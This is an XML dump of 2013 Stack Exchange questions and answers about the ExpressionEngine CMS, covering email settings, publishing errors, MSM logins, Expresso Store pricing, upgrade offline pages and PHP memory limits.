  <row Id="9054" PostTypeId="2" ParentId="9043" CreationDate="2013-04-05T16:00:40.240" Score="0" Body="&lt;p&gt;You need to add the mailtype in the email sending code. Like for the email template of &quot;Member Account Activation Instructions&quot;, go around line number 690 of file &quot;/expressionengine/modules/member/mod.member_register.php&quot; and put this line of code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'html';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same can be applied for other emails which are not having mailtype as 'html'.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-05T16:00:40.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9055" PostTypeId="1" CreationDate="2013-04-05T16:23:08.307" Score="1" ViewCount="350" Body="&lt;p&gt;First, forgive me as I'm not a professional programmer. I have access to our CMS as our company's web content manager, however our marketing agency handles heavy duty programming and design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We recently updated our ExpressionEngine to version 2.5.5. Since then, I'm not able to utilize one of the tools that I could prior to that in the editor. When publishing a new page, there is an option for me to add External Links to appear in a navigation menu. There are two fields to add the headline text and the corresponding link. Below those fields is a '+' sign to add another headline/link. However, when I click this '+' sign, nothing happens. This should add more rows to this nav menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this is a simple fix. We just transitioned to a new agency so typically I'd ask them for help, but they're still familiarizing themselves with the system and right now I'm just trying to get a head start on this particular issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help you can give me is greatly appreciated. I apologize in advance if this request isn't appropriate for this forum!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: here is a screenshot: &lt;a href=&quot;https://i.stack.imgur.com/zsVgP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/zsVgP.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1286" LastEditorUserId="1286" LastEditDate="2013-04-08T19:53:38.990" LastActivityDate="2013-05-08T20:17:04.153" Title="Can't add external links in nav menu" Tags="|ee2|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9056" PostTypeId="1" AcceptedAnswerId="9064" CreationDate="2013-04-05T16:29:10.937" Score="2" ViewCount="792" Body="&lt;p&gt;We're running an annual event website and we're keen to simulate the site for a different date. In other words, add say 3 months to the current date/time so we can try out some options for when the event's finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any thoughts on where to start with this?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2013-04-05T18:45:43.063" Title="Simulate date/time in PHP for Expression Engine" Tags="|php|date|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9057" PostTypeId="1" CreationDate="2013-04-05T16:32:18.857" Score="1" ViewCount="164" Body="&lt;p&gt;I have a secondary site in an MSM install (EE2.5.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE's File Manager, I have paths like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/assets/foldername&#xA;&lt;a href=&quot;http://site2.com/assets/foldername&quot; rel=&quot;nofollow&quot;&gt;http://site2.com/assets/foldername&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine when using a &lt;em&gt;File&lt;/em&gt; fieldtype, as I can change the domain name referenced above and file paths will all update. However, images inserted in a rich text field, i.e., WYGWAM, will be dumped in like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://site2.com/assets/foldername/image.gif&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I chance the domain name, I'll have broken links. However, if I try to refer to images with relative paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/assets/foldername/image.gif&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They don't show up in the EE control panel because it's running at site1.com/system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I've found to this is to store all the images at the primary domain and then reference them all with full paths starting with http://&#xA;Then I can fuss with the secondary domain and paths remain correct.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-05T17:35:05.940" Title="Best practices for handling paths in File Manager with MSM?" Tags="|wygwam|file-manager|bestpractice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9058" PostTypeId="1" AcceptedAnswerId="9072" CreationDate="2013-04-05T16:58:27.527" Score="0" ViewCount="121" Body="&lt;p&gt;These instructions don't seem to be working ... &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Copy system/expressionengine/utilities/offline.html to your web root folder (the same place you have your main index.php file).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Rename offline.html to index.html. Now your visitors will see the “offline” page while you update your site.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In your ExpressionEngine Control Panel, go to Tools ‣ Data ‣ Clear Caching. Select All Caches and click Submit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I add the index.html file as it says here but my sites home page remains?&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="55" LastEditDate="2013-04-05T18:47:46.090" LastActivityDate="2013-04-06T00:26:13.190" Title="Upgrading ExpressionEngine" Tags="|upgrade|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9059" PostTypeId="1" CreationDate="2013-04-05T17:02:45.607" Score="1" ViewCount="847" Body="&lt;p&gt;I'm trying to publish a new entry into an existing channel. This channel has one other entry. When I hit the Submit button on the new entry, I'm not seeing any error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same site has a dev instance, with its own database. I'm able to publish the entry on the dev site, but not on production. EDIT: I can add and edit templates on production, but cannot add or edit any channel entries. So possibly it's some channel setting???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I start troubleshooting this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Running ExpressionEngine 2.5.3, running on AWS&lt;/li&gt;&#xA;&lt;li&gt;Logged in as a super admin&lt;/li&gt;&#xA;&lt;li&gt;When I try to create or edit an entry, I just get taken right back to the entry form when I hit Submit&lt;/li&gt;&#xA;&lt;li&gt;Have tried turning on template debugging, but no change/no error messages generated&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-04-05T18:51:33.777" LastActivityDate="2013-04-05T21:24:50.150" Title="Unable to publish new channel entry" Tags="|ee2|channel-entries|" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9060" PostTypeId="2" ParentId="9019" CreationDate="2013-04-05T17:34:03.307" Score="2" Body="&lt;p&gt;Sounds like an interesting mix. I don't know your exact use case but personally I'm not sure I'd look to go with that combination. Sencha Touch is great as a feature-reach mobile framework which is aimed at providing a native app look and feel. As you mentioned you're building a &lt;code&gt;website&lt;/code&gt; for a client. The &lt;a href=&quot;http://theappslab.com/2010/11/12/website-vs-web-app/&quot; rel=&quot;nofollow&quot;&gt;website vs web app debate&lt;/a&gt; is endless but generally if you're building some to look native to the mobile device then I'd say it's an app. Web apps generally tend to be front-end heavy primarily using HTML5 and JS to provide the application logic. As a result it's common that they only ever need a thin client on the server - just an simple &lt;a href=&quot;https://en.wikipedia.org/wiki/Representational_state_transfer&quot; rel=&quot;nofollow&quot;&gt;RESTful interface&lt;/a&gt; to connect to for &lt;a href=&quot;https://en.wikipedia.org/wiki/CRUD&quot; rel=&quot;nofollow&quot;&gt;CRUD&lt;/a&gt; operations. In which case I'd tend to use something like &lt;a href=&quot;http://www.deployd.com/&quot; rel=&quot;nofollow&quot;&gt;Deployd&lt;/a&gt; which is built for the purpose and very easy to get started with or just build my own in pure code with a framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it needed ecommerce and Cartthrob, baskets, and order forms etc were being considered then I wouldn't go for a native look and feel app. That would be more a &lt;code&gt;website&lt;/code&gt; which I'd look to build &lt;a href=&quot;http://en.wikipedia.org/wiki/Responsive_web_design&quot; rel=&quot;nofollow&quot;&gt;responsively&lt;/a&gt;. Then I'd look to use EE and CT but I then wouldn't consider using Sencha Touch. It's too complete a framework and I wouldn't want the &lt;code&gt;native&lt;/code&gt; look and feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could always try and turn EE into a RESTful interface of sorts (although not true RESTful) but it almost seems like overkill if it's for a mobile &lt;code&gt;app&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-05T17:34:03.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9061" PostTypeId="2" ParentId="9057" CreationDate="2013-04-05T17:35:05.940" Score="2" Body="&lt;p&gt;WYGWAM inserts images with {filedirX} in place of the actual path to the image. So changing the domain name (or replacing site2.com/somefolder with /somefolder for folders within File Manager should work without a hitch. Thanks @kristengrote.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-05T17:35:05.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostTypeId="2" ParentId="9058" CreationDate="2013-04-05T17:41:05.570" Score="0" Body="&lt;p&gt;Have you cleared your browser caches too? It's different for each browser but on Chrome for instance go to Preferences &gt; Settings &gt; Show advanced content &gt; Privacy &gt; Clear Browsing Data &gt; and Empty the cache. It's probably the cached copy of your site you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be sure that index.html is in the same directory level as index.php in your public site root.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-05T17:41:05.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9063" PostTypeId="2" ParentId="9058" CreationDate="2013-04-05T18:39:36.773" Score="1" Body="&lt;p&gt;Rename your &lt;strong&gt;index.php&lt;/strong&gt; file to something else - your web server likely is prioritizing &lt;strong&gt;index.php&lt;/strong&gt; over &lt;strong&gt;index.html&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-04-05T18:39:36.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9064" PostTypeId="2" ParentId="9056" CreationDate="2013-04-05T18:45:43.063" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9056/simulate-date-time-in-php-for-expression-engine#comment10378_9056&quot;&gt;Ian's comment&lt;/a&gt; works, though this will be less laborious...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;strong&gt;/system/expressionengine/libraries/Localize.php&lt;/strong&gt;, and look inside the constructor (around line 53 or so). Comment out the setting of &lt;code&gt;$this-&amp;gt;now&lt;/code&gt; and change it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Fetch the current local server time and convert it to GMT&#xA;// $this-&amp;gt;now = time();&#xA;&#xA;// Temporarily setting the date to 3 months in the past&#xA;$this-&amp;gt;now = strtotime('3 months ago');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-04-05T18:45:43.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9065" PostTypeId="2" ParentId="9043" CreationDate="2013-04-05T18:55:58.693" Score="3" Body="&lt;p&gt;You need to create a new &quot;Hook&quot; entry in Postmaster that uses the &lt;strong&gt;send_system_email&lt;/strong&gt; hook. Then use &lt;code&gt;{hook:from_name}&lt;/code&gt;, &lt;code&gt;{hook:from_email}&lt;/code&gt;, &lt;code&gt;{hook:subject}&lt;/code&gt;, &lt;code&gt;{hook:message}&lt;/code&gt;, etc in the various fields when creating the parcel (all the variables &lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/send-system-email&quot; rel=&quot;nofollow&quot;&gt;listed here&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not explained very clearly, I know. I had a &lt;a href=&quot;https://twitter.com/objectivehtml/status/307134931140767744&quot; rel=&quot;nofollow&quot;&gt;bit of an exchange over Twitter with Justin about it&lt;/a&gt;, and he said he was planning on clarifying how to do this in the docs.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-04-15T02:13:11.927" LastActivityDate="2013-04-15T02:13:11.927" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9066" PostTypeId="2" ParentId="9059" CreationDate="2013-04-05T20:06:01.100" Score="1" Body="&lt;p&gt;Sounds like you have a required field that isn't getting filled out on one of your publish tabs. Unfortunately, EE does a terrible job of indicating this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest installing the &lt;a href=&quot;http://devot-ee.com/add-ons/ep-mega-error&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;EP Mega Error&lt;/strong&gt;&lt;/a&gt; addon so you will always see such errors. Once installed, you will see a very obvious error like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pDZZi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-05T20:06:01.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9067" PostTypeId="2" ParentId="9059" CreationDate="2013-04-05T20:09:29.120" Score="1" Body="&lt;p&gt;Believe it or not, simply refreshing the page first, then republishing may solve your issue. I have run into this a few times myself, and this has worked... I know it sounds rudimentary but try it.&lt;/p&gt;&#xA;" OwnerUserId="1289" LastActivityDate="2013-04-05T20:09:29.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9068" PostTypeId="2" ParentId="9059" CreationDate="2013-04-05T20:10:14.500" Score="0" Body="&lt;p&gt;Long shot here, but you're not seeing the published entry on the dev site, are you? Could it be using the dev database?&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2013-04-05T20:10:14.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9069" PostTypeId="2" ParentId="9059" CreationDate="2013-04-05T21:24:50.150" Score="1" Body="&lt;p&gt;So I figured it out. It's very weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This morning, I had opened the Admin&gt;General Configuration settings screen, and set the site's root directory URL to be simply &quot;/&quot; so that people could view the site, or more specifically a certain set of templates, through either http or https. I've done this on other installs, even other installs for this particular client, and not had any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I re-set the site's URL to the actual domain, instead of the more global &quot;/&quot;, I could edit existing and publish new entries again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weird. Weird, weird, weird.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-04-05T21:24:50.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9070" PostTypeId="1" AcceptedAnswerId="9074" CreationDate="2013-04-05T21:44:52.737" Score="0" ViewCount="344" Body="&lt;p&gt;I'm exploring MSM for a new site and need to provide a single login for members and allow them to jump from site1 to site 2 with a single session. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-04-06T20:23:12.587" Title="Is there a way to persist a login across MSM sites?" Tags="|members|multi-site-manager|login|single-sign-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostTypeId="1" CreationDate="2013-04-06T00:13:31.710" Score="1" ViewCount="22" Body="&lt;p&gt;In a custom Matrix fieldtype I have, the save_cell() function is used to process the fieldtype data for each row. It seems this function is called on a per row basis, so not called once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know is how to call a function just once, before all the rows are saved. A kind of before_save() function or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if this is not possible, then I wondered how we can obtain the number of the save_cell() row we are on. I can then call a function based on this row number being 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-04-06T00:13:31.710" Title="In a Matrix Fieldtype, how does one call a function before all the rows are saved using save_cell()" Tags="|matrix|fieldtype|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostTypeId="2" ParentId="9058" CreationDate="2013-04-06T00:26:13.190" Score="0" Body="&lt;p&gt;Super Admins by default can see the site when the site is offline (hence why you are seeing the homepage and the site) can you confirm in another browser (or something like incognito)'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that does not in fact fix the issue you will need to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIndex index.html index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To you htaccess to give priority to index.html over index.php&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-06T00:26:13.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9073" PostTypeId="2" ParentId="9039" CreationDate="2013-04-06T00:39:21.717" Score="0" Body="&lt;p&gt;The value of your Coupon/Promo code will be based upon what you setup in the CP, it doesn't make sense to have a $25 off promocode be $25 + 7% tax, the better solution would be to create the coupon code for $26.75. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think you would be better off using DevDemon's Credits module from the sounds of it.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-06T00:39:21.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9074" PostTypeId="2" ParentId="9070" CreationDate="2013-04-06T02:42:24.613" Score="0" Body="&lt;p&gt;I think, you setup well following variable in the index file of the both sites:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_name']  = 'default_site';&#xA;$assign_to_config['cp_url'] = 'http://domain.com/admin.php';&#xA;$assign_to_config['site_url'] = 'http://domain.com';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to add a variable in config file also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_multi_logins'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The member will be logged in for both sites and can be able to switch from site1 to site2 as logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-06T04:27:43.570" LastActivityDate="2013-04-06T04:27:43.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9075" PostTypeId="2" ParentId="9047" CreationDate="2013-04-06T02:49:30.393" Score="2" Body="&lt;p&gt;Since this is happening intermittently, I'd guess it's an issue with EE not being able to connect to the database server and not an EE specific issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first place to start would be to contact your web host to see if they are having issues on their end. Record the date/time when you next see this error and have them check the mysql error logs to see if there is a specific error logged at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also take a look at the php error logs to see if anything is logged there that may be related.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-06T02:49:30.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostTypeId="2" ParentId="9040" CreationDate="2013-04-06T02:55:48.217" Score="0" Body="&lt;p&gt;Looks like PHP needs more memory to complete the upload process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With most hosts you can adjust this in your .htacccess file. Add the following to your file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 128M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If PHP throws the error at 128MB, increase it until you hit a number that works for what you're doing.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-06T02:55:48.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9077" PostTypeId="2" ParentId="9039" CreationDate="2013-04-06T07:52:43.437" Score="0" Body="&lt;p&gt;The promo codes in Store don't include tax, just like everything else. This makes it easier when setting them up in the backend (as others have suggested, the promo code system wasn't really designed with gift cards in mind since they have no ongoing balance, but you can certainly bend it to your will).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your store includes taxes on the front end, and your tax rate is 10% - then if you sell a $20 promo code, you need to save that in the database as $18.1818 so that your customers can use the pre-tax value to purchase products.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-06T07:52:43.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9078" PostTypeId="1" CreationDate="2013-04-06T11:32:03.883" Score="1" ViewCount="516" Body="&lt;p&gt;I have been working on some jQuery in jsfiddle and I currently have it working. However, when I apply the exact same script to my Expresso Store using EE it doesn't work.  It's not outputting in js errors in Firebug.  Any ideas?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the fiddle  &lt;a href=&quot;http://jsfiddle.net/NnEdM/11/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/NnEdM/11/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is my site  &lt;a href=&quot;http://spartonenterprises.com/store/playground-mulch&quot; rel=&quot;nofollow&quot;&gt;http://spartonenterprises.com/store/playground-mulch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2013-04-08T01:48:28.430" Title="Jquery works in jsfiddle but not in my cart. Expresso Store" Tags="|expresso-store|jquery|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9079" PostTypeId="1" CreationDate="2013-04-06T13:44:42.760" Score="0" ViewCount="1969" Body="&lt;p&gt;Am I missing some dependency on the server? cURL is in php-xml is in etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to export an invoice to PDG and getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Class 'DOMDocument' not found in /MY-PATH/htdocs/system/expressionengine/third_party/store/vendor/dompdf/include/dompdf.cls.php on line 481&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help - Thanks&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2016-10-27T01:07:41.380" Title="Expresso Store: Fatal error: Class 'DOMDocument' not found in" Tags="|expresso-store|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostTypeId="2" ParentId="9055" CreationDate="2013-04-06T15:20:55.190" Score="1" Body="&lt;p&gt;Adding rows of content in a loop sounds a lot like Matrix. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to AddOns and choose Fieldtypes. See if you see a listing for&#xA;Matrix. If so, click on it's name. &lt;/li&gt;&#xA;&lt;li&gt;Check the license number is there and click Submit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know when I upgrade the site, and Matrix, sometimes I need to click Submit or else it doesn't initialise. Catches me out every few years.. If you're lucky, it's something small like this otherwise a discussion with your agency is in order. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-04-06T15:20:55.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostTypeId="1" AcceptedAnswerId="9083" CreationDate="2013-04-06T15:26:42.463" Score="0" ViewCount="65" Body="&lt;p&gt;I have a field set that's going to be growing over time. Users will be filling out forms on signup that represent this field set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automatically generate this sign up form based on the field set, instead of manually updating the form when I update the fields?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-04-06T15:47:10.177" Title="Automatically generate a form based on a channel field set?" Tags="|safecracker|custom-fields|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostTypeId="1" CreationDate="2013-04-06T15:37:22.207" Score="1" ViewCount="309" Body="&lt;p&gt;My client would like to sell gift certificates, in addition to having set prices they want the user to be able to input their own price. Is it possible to have a store item without a price?&lt;/p&gt;&#xA;" OwnerUserId="1293" LastActivityDate="2014-08-13T02:15:05.497" Title="Expresso Store: User input Price" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9083" PostTypeId="2" ParentId="9081" CreationDate="2013-04-06T15:47:10.177" Score="3" Body="&lt;p&gt;You can do it by using the {custom_fields} loop of SafeCraker. In case, you wouldn't like to show some specific custom fields, don't populate them using if condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;&#xA;{if field_name != &quot;not_show_field_1&quot; AND field_name != &quot;not_show_field_2&quot;}&#xA;&#xA;[Custom field options]&#xA;&#xA;{/if}&#xA;&#xA;{/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a reference from &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#custom-fields&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#custom-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-06T15:47:10.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9084" PostTypeId="1" CreationDate="2013-04-06T18:04:24.373" Score="2" ViewCount="70" Body="&lt;p&gt;I'm currently working on a Multi Language site with Biber's MLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Exp:presso's RSVP addon (it is brilliant!) to manage attendance.  The only problem is that I have 2 event channels (one per language) named events_en and events_es.  On the RSVP preferences you can only pick one channel to show the RSVP Form in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is have the RSVP Form show up on the default language Event page and on the tranlated Event page, but that the attendance is shared between them, since its really only one event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the RSVP form and attendance code in a embed template, and tried using conditionals and custom fields to pass the entry_id of the default language event, but the form still doesn't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has any idea on how to get RSVP working with two channels?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1294" LastActivityDate="2013-05-06T20:16:58.113" Title="Using Exp:resso RSVP on two Channels" Tags="|ee2|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9085" PostTypeId="2" ParentId="9082" CreationDate="2013-04-06T18:13:15.227" Score="1" Body="&lt;p&gt;As far as I know it's not possible to enter a product without a price as price, along with SKU, are required fields. One option would be to make use of &lt;em&gt;modifiers&lt;/em&gt; to make any number of variations possible (£5, £10, £15, £20, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also provision in Store to accept &lt;em&gt;donations&lt;/em&gt;. This does allow for a custom amount to be entered and an example can be seen at the bottom of the &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Exp-resso website&lt;/a&gt;. I've not setup a donations form before however so I'm not sure on the specifics of setup or how it is recorded in the sytem (if it's in with the orders or stored elsewhere). I'm sure one of the Store guys can help to clarify though.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-06T18:13:15.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9086" PostTypeId="2" ParentId="9079" CreationDate="2013-04-06T18:20:43.260" Score="1" Body="&lt;p&gt;Hmmm strange. Have you checked that the file it mentions is actually there? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is and it has read access then my guess would be that it's more of a memory issue. PDF generation can require a surprisingly large amount of memory (a min of 256MB) and I've had similar problems in the past. Make sure that you have at least 256MB as your memory limit in Tools &gt; Utilities &gt; PHP Info &gt; memory_limit. Try increasing this to at least 256MB and seeing if that makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of environment are you running on btw? Is this shared hosting?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-06T18:20:43.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
